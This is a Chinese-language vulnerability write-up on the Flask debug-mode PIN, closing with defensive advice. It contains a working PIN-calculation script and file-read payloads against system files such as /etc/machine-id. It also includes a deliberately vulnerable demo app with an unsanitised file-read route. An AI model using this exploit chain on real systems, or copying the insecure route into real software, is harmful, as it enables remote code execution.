Flask debug pin安全问题
字数 1719 2025-08-29 08:32:25
Flask Debug PIN 安全漏洞分析与利用
漏洞概述
Flask 框架在 debug 模式下会生成一个 Debugger PIN 码,该 PIN 码由服务器的一些固定特征值生成。如果攻击者能够获取这些特征值(通过任意文件读取等漏洞),就可以计算出 PIN 码,进而在 debug 页面上执行任意 Python 代码,导致远程代码执行(RCE)。
漏洞影响
- 影响版本:所有使用 debug 模式的 Flask 应用
- 利用条件:
- Flask 应用运行在 debug 模式
- 攻击者能够获取生成 PIN 码所需的 6 个特征值(通常需要配合任意文件读取漏洞)
- 应用存在可以触发 debug 页面的错误
漏洞原理
PIN 码生成机制
Flask 的 debug PIN 码由以下 6 个特征值生成:
- username - 启动 Flask 应用的用户名
- modname - 固定为
flask.app - getattr(app, 'name', getattr(app.class, 'name')) - 固定为
Flask - getattr(mod, 'file', None) - Flask 库中 app.py 的绝对路径
- uuid.getnode() - 服务器 MAC 地址的十进制表示
- get_machine_id() - 机器 ID(Linux 下通常为
/etc/machine-id或/proc/sys/kernel/random/boot_id的内容)
生成算法
- 将上述 6 个特征值连接起来
- 对每个特征值进行 MD5 哈希计算
- 添加
b'cookiesalt'和b'pinsalt'作为额外盐值 - 从哈希结果中提取 9 位数字作为 PIN 码
- 将 PIN 码格式化为
XXX-XXX-XXX的形式
漏洞利用步骤
1. 获取必要的特征值
1.1 获取 username
- 通过错误页面泄露
- 通过系统文件读取(如
/etc/passwd)
1.2 获取 modname 和 app name
这两个值通常是固定的:
- modname:
flask.app - app name:
Flask
1.3 获取 Flask 库路径
- 通过错误页面泄露
- 通过尝试常见路径(如
/usr/local/lib/pythonX.X/site-packages/flask/app.py)
1.4 获取 MAC 地址
Linux 系统:
# 获取 MAC 地址的十六进制形式
cat /sys/class/net/ens33/address # 或 eth0
# 转换为十进制
echo $((0x$(cat /sys/class/net/ens33/address | tr -d ':')))
1.5 获取 machine-id
Linux 系统:
cat /etc/machine-id
# 或
cat /proc/sys/kernel/random/boot_id
2. 计算 PIN 码
使用以下 Python 脚本计算 PIN 码:
import hashlib
from itertools import chain
probably_public_bits = [
'username', # 当前用户名
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/path/to/flask/app.py' # getattr(mod, '__file__', None)
]
private_bits = [
'mac_address_decimal', # str(uuid.getnode())
'machine_id' # /etc/machine-id 或 /proc/sys/kernel/random/boot_id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
3. 利用 PIN 码执行代码
- 触发一个 Flask 错误页面(如访问不存在的路由或故意引发异常)
- 在 debug 页面的控制台中输入计算出的 PIN 码
- 成功验证后即可执行任意 Python 代码
漏洞复现示例
1. 创建有漏洞的 Flask 应用
# app.py
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def hello():
return Hello['a'] # 故意引发错误
@app.route("/file")
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
2. 获取特征值
- 访问
http://localhost:8080/file?filename=/etc/machine-id获取 machine-id - 访问
http://localhost:8080/file?filename=/sys/class/net/ens33/address获取 MAC 地址 - 从错误页面获取用户名和 Flask 路径
3. 计算并利用 PIN 码
使用获取的特征值运行上述 Python 脚本计算 PIN 码,然后在错误页面的控制台中输入。
防御措施
-
生产环境禁用 debug 模式:
app.run(debug=False) -
使用环境变量设置复杂 PIN 码:
export WERKZEUG_DEBUG_PIN=your-complex-pin -
限制 debug 页面的访问:
- 仅允许本地访问
- 使用防火墙规则限制访问
-
定期更新 Flask 框架:关注安全更新
-
避免任意文件读取漏洞:严格校验文件读取操作的输入
总结
Flask debug PIN 漏洞是一个严重的安全问题,它允许攻击者在获取特定系统信息后绕过安全限制执行任意代码。开发人员必须确保生产环境中禁用 debug 模式,并采取其他安全措施防止敏感信息泄露。